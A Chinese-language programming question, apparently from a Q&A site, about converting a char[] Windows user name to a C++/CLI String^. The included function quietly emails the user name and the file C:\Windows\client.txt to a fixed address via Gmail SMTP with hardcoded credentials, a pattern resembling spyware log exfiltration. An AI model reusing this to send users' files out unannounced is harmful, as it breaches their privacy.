我正在尝试将char []转换为String ^,但我没有成功。转换仅返回用户名的第一个字符作为样本跟随MailMessage的属性主题^。有人能帮助我吗?非常感谢你。
#include "windows.h" #include "Lmcons.h" #include "tchar.h" using namespace System::Net::Mail; void sendMail() { char username[UNLEN+1]; DWORD username_len = UNLEN+1; GetUserName((LPWSTR)username, &username_len); String^ user = gcnew String(username); String^ email = L"mylogin@gmail.com"; String^ to = L"recipient@live.com"; String^ password = L"password"; MailMessage^ message = gcnew MailMessage( email,to ); message->Subject = user; message->Body = L"================="; message->Attachments->Add(gcnew Attachment("C:\\Windows\\client.txt")); SmtpClient^ client = gcnew SmtpClient( "smtp.gmail.com", 587 ); client->UseDefaultCredentials = true; client->UseDefaultCredentials = false; client->Credentials = gcnew System::Net::NetworkCredential(email, password); client->EnableSsl = true; client->Send(message); client->~SmtpClient(); }